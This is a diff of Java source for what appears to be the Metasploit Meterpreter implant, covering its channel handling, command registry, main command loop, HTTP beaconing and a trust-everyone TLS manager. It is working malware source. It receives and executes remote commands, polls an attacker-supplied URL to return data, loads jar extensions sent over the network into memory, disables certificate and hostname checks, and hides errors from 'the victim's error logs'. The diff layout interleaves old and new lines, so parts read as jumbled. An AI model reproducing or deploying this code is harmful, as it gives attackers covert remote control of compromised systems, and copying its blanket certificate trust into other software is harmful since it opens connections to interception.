* The maximum number of bytes to read. * @return The bytes read, or <code>null</code> if the end of the stream has been reached.
* @return The bytes read, or <code>null</code> if the end of the stream has been reached. */
*/ public synchronized byte[] read(int maxLength) throws IOException, InterruptedException {
public synchronized byte[] read(int maxLength) throws IOException, InterruptedException { if (closed)
if (closed) return null;
return null; if (active)
if (active) throw new IllegalStateException("Cannot read; currently interacting with this channel");
throw new IllegalStateException("Cannot read; currently interacting with this channel"); while (!waiting || (toRead != null && toRead.length == 0))
while (!waiting || (toRead != null && toRead.length == 0)) wait();
wait(); if (toRead == null)
if (toRead == null) return null;
return null; byte[] result = new byte[Math.min(toRead.length, maxLength)];
byte[] result = new byte[Math.min(toRead.length, maxLength)]; System.arraycopy(toRead, 0, result, 0, result.length);
System.arraycopy(toRead, 0, result, 0, result.length); byte[] rest = new byte[toRead.length - result.length];
byte[] rest = new byte[toRead.length - result.length]; System.arraycopy(toRead, result.length, rest, 0, rest.length);
System.arraycopy(toRead, result.length, rest, 0, rest.length); toRead = rest;
toRead = rest; notifyAll();
notifyAll(); return result;
return result; }
}
/** /**
* Write length bytes from the start of data to this channel. * Write length bytes from the start of data to this channel.
* *
* @param data * @param data The data to write
* The data to write * @param length The length to write
* @param length */
* The length to write public void write(byte[] data, int length, TLVPacket request) throws IOException {
*/ if (out == null)
public void write(byte[] data, int length, TLVPacket request) throws IOException { throw new IOException("Channel does not have an output stream");
if (out == null) out.write(data, 0, length);
throw new IOException("Channel does not have an output stream"); out.flush();
out.write(data, 0, length); }
out.flush();
}
/** /**
* Get the ID of this channel. * Get the ID of this channel.
*/ */
public int getID() { public int getID() {
return id; return id;
} }
/** /**
* Start interacting with this channel. * Start interacting with this channel.
*/ */
public synchronized void startInteract() { public synchronized void startInteract() {
if (active) if (active)
throw new IllegalStateException("Already interacting"); throw new IllegalStateException("Already interacting");
active = true; active = true;
notifyAll(); notifyAll();
} }
/** /**
* Stop interacting with this channel. * Stop interacting with this channel.
*/ */
public synchronized void stopInteract() { public synchronized void stopInteract() {
active = false; active = false;
} }
/** /**
* Called from the {@link InteractThread} to notify the meterpreter of new data available on this channel. * Called from the {@link InteractThread} to notify the meterpreter of new data available on this channel.
* *
* @param data * @param data The new data available, or <code>null</code> if EOF has been reached.
* The new data available, or <code>null</code> if EOF has been reached. */
*/ protected synchronized void handleInteract(byte[] data) throws IOException, InterruptedException {
protected synchronized void handleInteract(byte[] data) throws IOException, InterruptedException { while (waiting) {
while (waiting) { wait();
wait(); }
} toRead = data;
toRead = data; waiting = true;
waiting = true; notifyAll();
notifyAll(); while (!active && !closed && (toRead == null || toRead.length > 0))
while (!active && !closed && (toRead == null || toRead.length > 0)) wait();
wait(); if ((toRead == null || toRead.length > 0) && !closed) {
if ((toRead == null || toRead.length > 0) && !closed) { TLVPacket tlv = new TLVPacket();
TLVPacket tlv = new TLVPacket(); tlv.add(TLVType.TLV_TYPE_CHANNEL_ID, getID());
tlv.add(TLVType.TLV_TYPE_CHANNEL_ID, getID()); String method;
String method; if (toRead == null) {
if (toRead == null) { method = "core_channel_close";
method = "core_channel_close"; close();
close(); } else {
} else { method = "core_channel_write";
method = "core_channel_write"; tlv.add(TLVType.TLV_TYPE_CHANNEL_DATA, toRead);
tlv.add(TLVType.TLV_TYPE_CHANNEL_DATA, toRead); tlv.add(TLVType.TLV_TYPE_LENGTH, toRead.length);
tlv.add(TLVType.TLV_TYPE_LENGTH, toRead.length); }
} meterpreter.writeRequestPacket(method, tlv);
meterpreter.writeRequestPacket(method, tlv); }
} waiting = false;
waiting = false; notifyAll();
notifyAll(); }
}
/** /**
* A thread that polls the channel to provide information when interacting with this channel. * A thread that polls the channel to provide information when interacting with this channel.
*/ */
protected class InteractThread extends Thread { protected class InteractThread extends Thread {
private final InputStream stream; private final InputStream stream;
public InteractThread(InputStream stream) { public InteractThread(InputStream stream) {
this.stream = stream; this.stream = stream;
} }
public void run() { public void run() {
try { try {
byte[] buffer = new byte[4096]; byte[] buffer = new byte[4096];
int len; int len;
while ((len = stream.read(buffer)) != -1) { while ((len = stream.read(buffer)) != -1) {
if (len == 0) if (len == 0)
continue; continue;
byte[] data = new byte[len]; byte[] data = new byte[len];
System.arraycopy(buffer, 0, data, 0, len); System.arraycopy(buffer, 0, data, 0, len);
handleInteract(data); handleInteract(data);
} }
handleInteract(null); handleInteract(null);
} catch (Throwable t) { } catch (Throwable t) {
t.printStackTrace(meterpreter.getErrorStream()); t.printStackTrace(meterpreter.getErrorStream());
} }
} }
} }
} }

@ -10,122 +10,113 @@ import com.metasploit.meterpreter.command.UnsupportedJavaVersionCommand;
/** /**
* A registry for supported commands. Extensions will register their commands here. * A registry for supported commands. Extensions will register their commands here.
* *
* @author mihi * @author mihi
*/ */
public class CommandManager { public class CommandManager {
private final int javaVersion; private final int javaVersion;
private Map/* <String,Command> */registeredCommands = new HashMap(); private Map/* <String,Command> */registeredCommands = new HashMap();
private Vector/* <String> */newCommands = new Vector(); private Vector/* <String> */newCommands = new Vector();
protected CommandManager() throws Exception { protected CommandManager() throws Exception {
// get the API version, which might be different from the // get the API version, which might be different from the
// VM version, especially on some application servers // VM version, especially on some application servers
// (adapted from org.apache.tools.ant.util.JavaEnvUtils). // (adapted from org.apache.tools.ant.util.JavaEnvUtils).
Class.forName("java.lang.Void"); Class.forName("java.lang.Void");
Class.forName("java.lang.ThreadLocal"); Class.forName("java.lang.ThreadLocal");
int apiVersion = ExtensionLoader.V1_2; int apiVersion = ExtensionLoader.V1_2;
try { try {
Class.forName("java.lang.StrictMath"); Class.forName("java.lang.StrictMath");
apiVersion = ExtensionLoader.V1_3; apiVersion = ExtensionLoader.V1_3;
Class.forName("java.lang.CharSequence"); Class.forName("java.lang.CharSequence");
apiVersion = ExtensionLoader.V1_4; apiVersion = ExtensionLoader.V1_4;
Class.forName("java.net.Proxy"); Class.forName("java.net.Proxy");
apiVersion = ExtensionLoader.V1_5; apiVersion = ExtensionLoader.V1_5;
Class.forName("java.util.ServiceLoader"); Class.forName("java.util.ServiceLoader");
apiVersion = ExtensionLoader.V1_6; apiVersion = ExtensionLoader.V1_6;
} catch (Throwable t) { } catch (Throwable t) {
} }
String javaversion = System.getProperty("java.version"); String javaversion = System.getProperty("java.version");
if (javaversion != null && javaversion.length() > 2) { if (javaversion != null && javaversion.length() > 2) {
int vmVersion = javaversion.charAt(2) - '2' + ExtensionLoader.V1_2; int vmVersion = javaversion.charAt(2) - '2' + ExtensionLoader.V1_2;
if (vmVersion >= ExtensionLoader.V1_2 && vmVersion < apiVersion) if (vmVersion >= ExtensionLoader.V1_2 && vmVersion < apiVersion)
apiVersion = vmVersion; apiVersion = vmVersion;
} }
this.javaVersion = apiVersion; this.javaVersion = apiVersion;
// load core commands // load core commands
new com.metasploit.meterpreter.core.Loader().load(this); new com.metasploit.meterpreter.core.Loader().load(this);
} }
/** /**
* Register a command that can be executed on all Java versions (from 1.2 onward) * Register a command that can be executed on all Java versions (from 1.2 onward)
* *
* @param command * @param command Name of the command
* Name of the command * @param commandClass Class that implements the command
* @param commandClass */
* Class that implements the command public void registerCommand(String command, Class commandClass) throws Exception {
*/ registerCommand(command, commandClass, ExtensionLoader.V1_2);
public void registerCommand(String command, Class commandClass) throws Exception { }
registerCommand(command, commandClass, ExtensionLoader.V1_2);
}
/** /**
* Register a command that can be executed only on some Java versions * Register a command that can be executed only on some Java versions
* *
* @param command * @param command Name of the command
* Name of the command * @param commandClass Stub class for generating the class name that implements the command
* @param commandClass * @param version Minimum Java version
* Stub class for generating the class name that implements the command */
* @param version public void registerCommand(String command, Class commandClass, int version) throws Exception {
* Minimum Java version registerCommand(command, commandClass, version, version);
*/ }
public void registerCommand(String command, Class commandClass, int version) throws Exception {
registerCommand(command, commandClass, version, version);
}
/** /**
* Register a command that can be executed only on some Java versions, and has two different implementations for different Java versions. * Register a command that can be executed only on some Java versions, and has two different implementations for different Java versions.
* *
* @param command * @param command Name of the command
* Name of the command * @param commandClass Stub class for generating the class name that implements the command
* @param commandClass * @param version Minimum Java version
* Stub class for generating the class name that implements the command * @param secondVersion Minimum Java version for the second implementation
* @param version */
* Minimum Java version public void registerCommand(String command, Class commandClass, int version, int secondVersion) throws Exception {
* @param secondVersion if (secondVersion < version)
* Minimum Java version for the second implementation throw new IllegalArgumentException("secondVersion must be larger than version");
*/ if (javaVersion < version) {
public void registerCommand(String command, Class commandClass, int version, int secondVersion) throws Exception { registeredCommands.put(command, new UnsupportedJavaVersionCommand(command, version));
if (secondVersion < version) return;
throw new IllegalArgumentException("secondVersion must be larger than version"); }
if (javaVersion < version) { if (javaVersion >= secondVersion)
registeredCommands.put(command, new UnsupportedJavaVersionCommand(command, version)); version = secondVersion;
return;
}
if (javaVersion >= secondVersion)
version = secondVersion;
if (version != ExtensionLoader.V1_2) { if (version != ExtensionLoader.V1_2) {
commandClass = commandClass.getClassLoader().loadClass(commandClass.getName() + "_V1_" + (version - 10)); commandClass = commandClass.getClassLoader().loadClass(commandClass.getName() + "_V1_" + (version - 10));
} }
Command cmd = (Command) commandClass.newInstance(); Command cmd = (Command) commandClass.newInstance();
registeredCommands.put(command, cmd); registeredCommands.put(command, cmd);
newCommands.add(command); newCommands.add(command);
} }
/** /**
* Get a command for the given name. * Get a command for the given name.
*/ */
public Command getCommand(String name) { public Command getCommand(String name) {
Command cmd = (Command) registeredCommands.get(name); Command cmd = (Command) registeredCommands.get(name);
if (cmd == null) if (cmd == null)
cmd = NotYetImplementedCommand.INSTANCE; cmd = NotYetImplementedCommand.INSTANCE;
return cmd; return cmd;
} }
/** /**
* Reset the list of commands loaded by the last core_loadlib call * Reset the list of commands loaded by the last core_loadlib call
*/ */
public void resetNewCommands() { public void resetNewCommands() {
newCommands.clear(); newCommands.clear();
} }
/** /**
* Retrieves the list of commands loaded by the last core_loadlib call * Retrieves the list of commands loaded by the last core_loadlib call
*/ */
public String[] getNewCommands() { public String[] getNewCommands() {
return (String[]) newCommands.toArray(new String[newCommands.size()]); return (String[]) newCommands.toArray(new String[newCommands.size()]);
} }
} }

@ -2,22 +2,21 @@ package com.metasploit.meterpreter;
/** /**
* A loader class for an extension. This loader must be referenced in the jar manifest's Extension-Loader entry. * A loader class for an extension. This loader must be referenced in the jar manifest's Extension-Loader entry.
* *
* @author mihi * @author mihi
*/ */
public interface ExtensionLoader { public interface ExtensionLoader {
public static final int V1_2 = 12; public static final int V1_2 = 12;
public static final int V1_3 = 13; public static final int V1_3 = 13;
public static final int V1_4 = 14; public static final int V1_4 = 14;
public static final int V1_5 = 15; public static final int V1_5 = 15;
public static final int V1_6 = 16; public static final int V1_6 = 16;
/** /**
* Load this extension. * Load this extension.
* *
* @param commandManager * @param commandManager command manager to load commands into.
* command manager to load commands into. */
*/ public void load(CommandManager commandManager) throws Exception;
public void load(CommandManager commandManager) throws Exception;
} }

@ -22,345 +22,327 @@ import com.metasploit.meterpreter.core.core_loadlib;
/** /**
* Main meterpreter class. Responsible for keeping all the stuff together and for managing channels. * Main meterpreter class. Responsible for keeping all the stuff together and for managing channels.
* *
* @author mihi * @author mihi
*/ */
public class Meterpreter { public class Meterpreter {
private static final int PACKET_TYPE_REQUEST = 0; private static final int PACKET_TYPE_REQUEST = 0;
private static final int PACKET_TYPE_RESPONSE = 1; private static final int PACKET_TYPE_RESPONSE = 1;
private List/* <Channel> */channels = new ArrayList(); private List/* <Channel> */channels = new ArrayList();
private final CommandManager commandManager; private final CommandManager commandManager;
private final DataInputStream in; private final DataInputStream in;
private final DataOutputStream out; private final DataOutputStream out;
private final Random rnd = new Random(); private final Random rnd = new Random();
private final ByteArrayOutputStream errBuffer; private final ByteArrayOutputStream errBuffer;
private final PrintStream err; private final PrintStream err;
private final boolean loadExtensions; private final boolean loadExtensions;
private List/* <byte[]> */tlvQueue = null; private List/* <byte[]> */tlvQueue = null;
/** /**
* Initialize the meterpreter. * Initialize the meterpreter.
* *
* @param in * @param in Input stream to read from
* Input stream to read from * @param rawOut Output stream to write into
* @param rawOut * @param loadExtensions Whether to load (as a {@link ClassLoader} would do) the extension jars; disable this if you want to use your debugger's edit-and-continue feature or if you do not want to update the jars after each build
* Output stream to write into * @param redirectErrors Whether to redirect errors to the internal error buffer; disable this to see the errors on the victim's standard error stream
* @param loadExtensions * @throws Exception
* Whether to load (as a {@link ClassLoader} would do) the extension jars; disable this if you want to use your debugger's edit-and-continue feature or if you do not want to update the jars after each build */
* @param redirectErrors public Meterpreter(DataInputStream in, OutputStream rawOut, boolean loadExtensions, boolean redirectErrors) throws Exception {
* Whether to redirect errors to the internal error buffer; disable this to see the errors on the victim's standard error stream this(in, rawOut, loadExtensions, redirectErrors, true);
* @throws Exception }
*/
public Meterpreter(DataInputStream in, OutputStream rawOut, boolean loadExtensions, boolean redirectErrors) throws Exception {
this(in, rawOut, loadExtensions, redirectErrors, true);
}
/** /**
* Initialize the meterpreter. * Initialize the meterpreter.
* *
* @param in * @param in Input stream to read from
* Input stream to read from * @param rawOut Output stream to write into
* @param rawOut * @param loadExtensions Whether to load (as a {@link ClassLoader} would do) the extension jars; disable this if you want to use your debugger's edit-and-continue feature or if you do not want to update the jars after each build
* Output stream to write into * @param redirectErrors Whether to redirect errors to the internal error buffer; disable this to see the errors on the victim's standard error stream
* @param loadExtensions * @param beginExecution Whether to begin executing immediately
* Whether to load (as a {@link ClassLoader} would do) the extension jars; disable this if you want to use your debugger's edit-and-continue feature or if you do not want to update the jars after each build * @throws Exception
* @param redirectErrors */
* Whether to redirect errors to the internal error buffer; disable this to see the errors on the victim's standard error stream public Meterpreter(DataInputStream in, OutputStream rawOut, boolean loadExtensions, boolean redirectErrors, boolean beginExecution) throws Exception {
* @param beginExecution this.loadExtensions = loadExtensions;
* Whether to begin executing immediately this.in = in;
* @throws Exception this.out = new DataOutputStream(rawOut);
*/ commandManager = new CommandManager();
public Meterpreter(DataInputStream in, OutputStream rawOut, boolean loadExtensions, boolean redirectErrors, boolean beginExecution) throws Exception { channels.add(null); // main communication channel?
this.loadExtensions = loadExtensions; if (redirectErrors) {
this.in = in; errBuffer = new ByteArrayOutputStream();
this.out = new DataOutputStream(rawOut); err = new PrintStream(errBuffer);
commandManager = new CommandManager(); } else {
channels.add(null); // main communication channel? errBuffer = null;
if (redirectErrors) { err = System.err;
errBuffer = new ByteArrayOutputStream(); }
err = new PrintStream(errBuffer); if (beginExecution) {
} else { startExecuting();
errBuffer = null; }
err = System.err; }
}
if (beginExecution) {
startExecuting();
}
}
public void startExecuting() throws Exception {
try {
while (true) {
int len = in.readInt();
int ptype = in.readInt();
if (ptype != PACKET_TYPE_REQUEST)
throw new IOException("Invalid packet type: " + ptype);
TLVPacket request = new TLVPacket(in, len - 8);
TLVPacket response = executeCommand(request);
if (response != null)
writeTLV(PACKET_TYPE_RESPONSE, response);
}
} catch (EOFException ex) {
}
out.close();
synchronized (this) {
for (Iterator it = channels.iterator(); it.hasNext();) {
Channel c = (Channel) it.next();
if (c != null)
c.close();
}
}
}
/** public void startExecuting() throws Exception {
* Write a TLV packet to this meterpreter's output stream. try {
* while (true) {
* @param type int len = in.readInt();
* The type ({@link #PACKET_TYPE_REQUEST} or {@link #PACKET_TYPE_RESPONSE}) int ptype = in.readInt();
* @param packet if (ptype != PACKET_TYPE_REQUEST)
* The packet to send throw new IOException("Invalid packet type: " + ptype);
*/ TLVPacket request = new TLVPacket(in, len - 8);
private synchronized void writeTLV(int type, TLVPacket packet) throws IOException { TLVPacket response = executeCommand(request);
byte[] data = packet.toByteArray(); if (response != null)
if (tlvQueue != null) { writeTLV(PACKET_TYPE_RESPONSE, response);
ByteArrayOutputStream baos = new ByteArrayOutputStream(); }
DataOutputStream dos = new DataOutputStream(baos); } catch (EOFException ex) {
dos.writeInt(data.length + 8); }
dos.writeInt(type); out.close();
dos.write(data); synchronized (this) {
tlvQueue.add(baos.toByteArray()); for (Iterator it = channels.iterator(); it.hasNext(); ) {
return; Channel c = (Channel) it.next();
} if (c != null)
synchronized (out) { c.close();
out.writeInt(data.length + 8); }
out.writeInt(type); }
out.write(data); }
out.flush();
}
}
/** /**
* Execute a command request. * Write a TLV packet to this meterpreter's output stream.
* *
* @param request * @param type The type ({@link #PACKET_TYPE_REQUEST} or {@link #PACKET_TYPE_RESPONSE})
* The request to execute * @param packet The packet to send
* @return The response packet to send back */
*/ private synchronized void writeTLV(int type, TLVPacket packet) throws IOException {
private TLVPacket executeCommand(TLVPacket request) throws IOException { byte[] data = packet.toByteArray();
TLVPacket response = new TLVPacket(); if (tlvQueue != null) {
String method = request.getStringValue(TLVType.TLV_TYPE_METHOD); ByteArrayOutputStream baos = new ByteArrayOutputStream();
if (method.equals("core_switch_url")) { DataOutputStream dos = new DataOutputStream(baos);
String url = request.getStringValue(TLVType.TLV_TYPE_STRING); dos.writeInt(data.length + 8);
int sessionExpirationTimeout = request.getIntValue(TLVType.TLV_TYPE_UINT); dos.writeInt(type);
int sessionCommunicationTimeout = request.getIntValue(TLVType.TLV_TYPE_LENGTH); dos.write(data);
pollURL(new URL(url), sessionExpirationTimeout, sessionCommunicationTimeout); tlvQueue.add(baos.toByteArray());
return null; return;
} else if (method.equals("core_shutdown")) { }
return null; synchronized (out) {
} out.writeInt(data.length + 8);
response.add(TLVType.TLV_TYPE_METHOD, method); out.writeInt(type);
response.add(TLVType.TLV_TYPE_REQUEST_ID, request.getStringValue(TLVType.TLV_TYPE_REQUEST_ID)); out.write(data);
Command cmd = commandManager.getCommand(method); out.flush();
int result; }
try { }
result = cmd.execute(this, request, response);
} catch (Throwable t) {
t.printStackTrace(getErrorStream());
result = Command.ERROR_FAILURE;
}
response.add(TLVType.TLV_TYPE_RESULT, result);
return response;
}
/**
* Poll from a given URL until a shutdown request is received.
* @param url
*/
private void pollURL(URL url, int sessionExpirationTimeout, int sessionCommunicationTimeout) throws IOException {
synchronized (this) {
tlvQueue = new ArrayList();
}
long deadline = System.currentTimeMillis() + sessionExpirationTimeout * 1000L;
long commDeadline = System.currentTimeMillis() + sessionCommunicationTimeout * 1000L;
final byte[] RECV = "RECV".getBytes("ISO-8859-1");
while (System.currentTimeMillis() < Math.min(commDeadline, deadline)) {
byte[] outPacket = null;
synchronized (this) {
if (tlvQueue.size() > 0)
outPacket = (byte[]) tlvQueue.remove(0);
}
TLVPacket request = null;
try {
URLConnection uc = url.openConnection();
if (url.getProtocol().equals("https")) {
// load the trust manager via reflection, to avoid loading
// it when it is not needed (it requires Sun Java 1.4+)
try {
Class.forName("com.metasploit.meterpreter.PayloadTrustManager").getMethod("useFor", new Class[] {URLConnection.class}).invoke(null, new Object[] {uc});
} catch (Exception ex) {
ex.printStackTrace(getErrorStream());
}
}
uc.setDoOutput(true);
OutputStream out = uc.getOutputStream();
out.write(outPacket == null ? RECV : outPacket);
out.close();
DataInputStream in = new DataInputStream(uc.getInputStream());
int len;
try {
len = in.readInt();
} catch (EOFException ex) {
len = -1;
}
if (len != -1) {
int ptype = in.readInt();
if (ptype != PACKET_TYPE_REQUEST)
throw new RuntimeException("Invalid packet type: " + ptype);
request = new TLVPacket(in, len - 8);
}
in.close();
commDeadline = System.currentTimeMillis() + sessionCommunicationTimeout * 1000L;
} catch (IOException ex) {
ex.printStackTrace(getErrorStream());
// URL not reachable
if (outPacket != null) {
synchronized (this) {
tlvQueue.add(0, outPacket);
}
}
}
if (request != null) {
TLVPacket response = executeCommand(request);
if (response == null)
break;
writeTLV(PACKET_TYPE_RESPONSE, response);
} else if (outPacket == null) {
try {
Thread.sleep(5000);
} catch (InterruptedException ex) {
// ignore
}
}
}
synchronized (this) {
tlvQueue = new ArrayList();
}
}
/** /**
* Get the command manager, used to register or lookup commands. * Execute a command request.
*/ *
public CommandManager getCommandManager() { * @param request The request to execute
return commandManager; * @return The response packet to send back
} */
private TLVPacket executeCommand(TLVPacket request) throws IOException {
TLVPacket response = new TLVPacket();
String method = request.getStringValue(TLVType.TLV_TYPE_METHOD);
if (method.equals("core_switch_url")) {
String url = request.getStringValue(TLVType.TLV_TYPE_STRING);
int sessionExpirationTimeout = request.getIntValue(TLVType.TLV_TYPE_UINT);
int sessionCommunicationTimeout = request.getIntValue(TLVType.TLV_TYPE_LENGTH);
pollURL(new URL(url), sessionExpirationTimeout, sessionCommunicationTimeout);
return null;
} else if (method.equals("core_shutdown")) {
return null;
}
response.add(TLVType.TLV_TYPE_METHOD, method);
response.add(TLVType.TLV_TYPE_REQUEST_ID, request.getStringValue(TLVType.TLV_TYPE_REQUEST_ID));
Command cmd = commandManager.getCommand(method);
int result;
try {
result = cmd.execute(this, request, response);
} catch (Throwable t) {
t.printStackTrace(getErrorStream());
result = Command.ERROR_FAILURE;
}
response.add(TLVType.TLV_TYPE_RESULT, result);
return response;
}
/** /**
* Register a new channel in this meterpreter. Used only by {@link Channel#Channel(Meterpreter, java.io.InputStream, OutputStream, java.io.InputStream)}. * Poll from a given URL until a shutdown request is received.
* *
* @param channel * @param url
* The channel to register */
* @return The channel's ID. private void pollURL(URL url, int sessionExpirationTimeout, int sessionCommunicationTimeout) throws IOException {
*/ synchronized (this) {
public synchronized int registerChannel(Channel channel) { tlvQueue = new ArrayList();
channels.add(channel); }
return channels.size() - 1; long deadline = System.currentTimeMillis() + sessionExpirationTimeout * 1000L;
} long commDeadline = System.currentTimeMillis() + sessionCommunicationTimeout * 1000L;
final byte[] RECV = "RECV".getBytes("ISO-8859-1");
while (System.currentTimeMillis() < Math.min(commDeadline, deadline)) {
byte[] outPacket = null;
synchronized (this) {
if (tlvQueue.size() > 0)
outPacket = (byte[]) tlvQueue.remove(0);
}
TLVPacket request = null;
try {
URLConnection uc = url.openConnection();
if (url.getProtocol().equals("https")) {
// load the trust manager via reflection, to avoid loading
// it when it is not needed (it requires Sun Java 1.4+)
try {
Class.forName("com.metasploit.meterpreter.PayloadTrustManager").getMethod("useFor", new Class[]{URLConnection.class}).invoke(null, new Object[]{uc});
} catch (Exception ex) {
ex.printStackTrace(getErrorStream());
}
}
uc.setDoOutput(true);
OutputStream out = uc.getOutputStream();
out.write(outPacket == null ? RECV : outPacket);
out.close();
DataInputStream in = new DataInputStream(uc.getInputStream());
int len;
try {
len = in.readInt();
} catch (EOFException ex) {
len = -1;
}
if (len != -1) {
int ptype = in.readInt();
if (ptype != PACKET_TYPE_REQUEST)
throw new RuntimeException("Invalid packet type: " + ptype);
request = new TLVPacket(in, len - 8);
}
in.close();
commDeadline = System.currentTimeMillis() + sessionCommunicationTimeout * 1000L;
} catch (IOException ex) {
ex.printStackTrace(getErrorStream());
// URL not reachable
if (outPacket != null) {
synchronized (this) {
tlvQueue.add(0, outPacket);
}
}
}
if (request != null) {
TLVPacket response = executeCommand(request);
if (response == null)
break;
writeTLV(PACKET_TYPE_RESPONSE, response);
} else if (outPacket == null) {
try {
Thread.sleep(5000);
} catch (InterruptedException ex) {
// ignore
}
}
}
synchronized (this) {
tlvQueue = new ArrayList();
}
}
/** /**
* Used by {@link Channel#close()} to notify the meterpreter that the channel has been closed. * Get the command manager, used to register or lookup commands.
* */
* @param id public CommandManager getCommandManager() {
* The channel's ID return commandManager;
*/ }
public synchronized void channelClosed(int id) {
channels.set(id, null);
}
/** /**
* Obtain a channel for a given channel ID * Register a new channel in this meterpreter. Used only by {@link Channel#Channel(Meterpreter, java.io.InputStream, OutputStream, java.io.InputStream)}.
* *
* @param id * @param channel The channel to register
* The channel ID to look up * @return The channel's ID.
* @param throwIfNonexisting */
* Whether to throw an exception if the channel does not exist public synchronized int registerChannel(Channel channel) {
* @return The channel, or <code>null</code> if the channel does not exist and it should not throw an exception channels.add(channel);
*/ return channels.size() - 1;
public Channel getChannel(int id, boolean throwIfNonexisting) { }
Channel result = null;
if (id < channels.size())
result = (Channel) channels.get(id);
if (result == null && throwIfNonexisting)
throw new IllegalArgumentException("Channel " + id + " does not exist.");
return result;
}
/** /**
* Return the error stream where all errors should be written to. Do <b>not</b> write to {@link System#out} or {@link System#err} as this might appear in the victim's error logs. * Used by {@link Channel#close()} to notify the meterpreter that the channel has been closed.
*/ *
public PrintStream getErrorStream() { * @param id The channel's ID
return err; */
} public synchronized void channelClosed(int id) {
channels.set(id, null);
}
/** /**
* Return the length of the currently buffered error stream content, or <code>-1</code> if no buffering is active. * Obtain a channel for a given channel ID
*/ *
public int getErrorBufferLength() { * @param id The channel ID to look up
if (errBuffer == null) * @param throwIfNonexisting Whether to throw an exception if the channel does not exist
return -1; * @return The channel, or <code>null</code> if the channel does not exist and it should not throw an exception
return errBuffer.size(); */
} public Channel getChannel(int id, boolean throwIfNonexisting) {
Channel result = null;
/** if (id < channels.size())
* Return the currently buffered error stream content, or <code>null</code> if no buffering is active. result = (Channel) channels.get(id);
*/ if (result == null && throwIfNonexisting)
public byte[] getErrorBuffer() { throw new IllegalArgumentException("Channel " + id + " does not exist.");
if (errBuffer == null) return result;
return null; }
synchronized (errBuffer) {
byte[] result = errBuffer.toByteArray();
errBuffer.reset();
return result;
}
}
/**
* Send a request packet over this meterpreter.
*
* @param packet
* Packet parameters
* @param method
* Method to invoke
*/
public void writeRequestPacket(String method, TLVPacket tlv) throws IOException {
tlv.add(TLVType.TLV_TYPE_METHOD, method);
char[] requestID = new char[32];
for (int i = 0; i < requestID.length; i++) {
requestID[i] = (char) ('A' + rnd.nextInt(26));
}
tlv.add(TLVType.TLV_TYPE_REQUEST_ID, new String(requestID));
writeTLV(PACKET_TYPE_REQUEST, tlv);
}
/** /**
* Load an extension into this meterpreter. Called from {@link core_loadlib}. * Return the error stream where all errors should be written to. Do <b>not</b> write to {@link System#out} or {@link System#err} as this might appear in the victim's error logs.
* */
* @param data public PrintStream getErrorStream() {
* The extension jar's content as a byte array return err;
*/ }
public String[] loadExtension(byte[] data) throws Exception {
ClassLoader classLoader = getClass().getClassLoader(); /**
if (loadExtensions) { * Return the length of the currently buffered error stream content, or <code>-1</code> if no buffering is active.
URL url = MemoryBufferURLConnection.createURL(data, "application/jar"); */
classLoader = new URLClassLoader(new URL[] { url }, classLoader); public int getErrorBufferLength() {
} if (errBuffer == null)
JarInputStream jis = new JarInputStream(new ByteArrayInputStream(data)); return -1;
String loaderName = (String) jis.getManifest().getMainAttributes().getValue("Extension-Loader"); return errBuffer.size();
ExtensionLoader loader = (ExtensionLoader) classLoader.loadClass(loaderName).newInstance(); }
commandManager.resetNewCommands();
loader.load(commandManager); /**
return commandManager.getNewCommands(); * Return the currently buffered error stream content, or <code>null</code> if no buffering is active.
} */
public byte[] getErrorBuffer() {
if (errBuffer == null)
return null;
synchronized (errBuffer) {
byte[] result = errBuffer.toByteArray();
errBuffer.reset();
return result;
}
}
/**
* Send a request packet over this meterpreter.
*
* @param packet Packet parameters
* @param method Method to invoke
*/
public void writeRequestPacket(String method, TLVPacket tlv) throws IOException {
tlv.add(TLVType.TLV_TYPE_METHOD, method);
char[] requestID = new char[32];
for (int i = 0; i < requestID.length; i++) {
requestID[i] = (char) ('A' + rnd.nextInt(26));
}
tlv.add(TLVType.TLV_TYPE_REQUEST_ID, new String(requestID));
writeTLV(PACKET_TYPE_REQUEST, tlv);
}
/**
* Load an extension into this meterpreter. Called from {@link core_loadlib}.
*
* @param data The extension jar's content as a byte array
*/
public String[] loadExtension(byte[] data) throws Exception {
ClassLoader classLoader = getClass().getClassLoader();
if (loadExtensions) {
URL url = MemoryBufferURLConnection.createURL(data, "application/jar");
classLoader = new URLClassLoader(new URL[]{url}, classLoader);
}
JarInputStream jis = new JarInputStream(new ByteArrayInputStream(data));
String loaderName = (String) jis.getManifest().getMainAttributes().getValue("Extension-Loader");
ExtensionLoader loader = (ExtensionLoader) classLoader.loadClass(loaderName).newInstance();
commandManager.resetNewCommands();
loader.load(commandManager);
return commandManager.getNewCommands();
}
} }

@ -9,6 +9,7 @@ import javax.net.ssl.SSLSession;
import javax.net.ssl.SSLSocketFactory; import javax.net.ssl.SSLSocketFactory;
import javax.net.ssl.TrustManager; import javax.net.ssl.TrustManager;
import javax.net.ssl.X509TrustManager; import javax.net.ssl.X509TrustManager;
import java.security.cert.X509Certificate; import java.security.cert.X509Certificate;
/** /**
@ -16,48 +17,48 @@ import java.security.cert.X509Certificate;
* depends on classes only present on Sun JRE 1.4+, and incorporating it into * depends on classes only present on Sun JRE 1.4+, and incorporating it into
* the main {@link Meterpreter} class would have made it impossible for other/older * the main {@link Meterpreter} class would have made it impossible for other/older
* JREs to load it. * JREs to load it.
* * <p/>
* This class is substantically identical to the metasploit.PayloadTrustManager class, * This class is substantically identical to the metasploit.PayloadTrustManager class,
* only that it tries to cache the ssl context and trust manager between calls. * only that it tries to cache the ssl context and trust manager between calls.
*/ */
public class PayloadTrustManager implements X509TrustManager, HostnameVerifier { public class PayloadTrustManager implements X509TrustManager, HostnameVerifier {
public X509Certificate[] getAcceptedIssuers() { public X509Certificate[] getAcceptedIssuers() {
// no preferred issuers // no preferred issuers
return new X509Certificate[0]; return new X509Certificate[0];
} }
public void checkClientTrusted(java.security.cert.X509Certificate[] certs, String authType) { public void checkClientTrusted(java.security.cert.X509Certificate[] certs, String authType) {
// trust everyone // trust everyone
} }
public void checkServerTrusted(java.security.cert.X509Certificate[] certs, String authType) { public void checkServerTrusted(java.security.cert.X509Certificate[] certs, String authType) {
// trust everyone // trust everyone
} }
public boolean verify(String hostname, SSLSession session) {
// trust everyone
return true;
}
private static PayloadTrustManager instance; public boolean verify(String hostname, SSLSession session) {
private static SSLSocketFactory factory; // trust everyone
return true;
/** }
* Called by the {@link Payload} class to modify the given
* {@link URLConnection} so that it uses this trust manager. private static PayloadTrustManager instance;
*/ private static SSLSocketFactory factory;
public static synchronized void useFor(URLConnection uc) throws Exception {
if (uc instanceof HttpsURLConnection) { /**
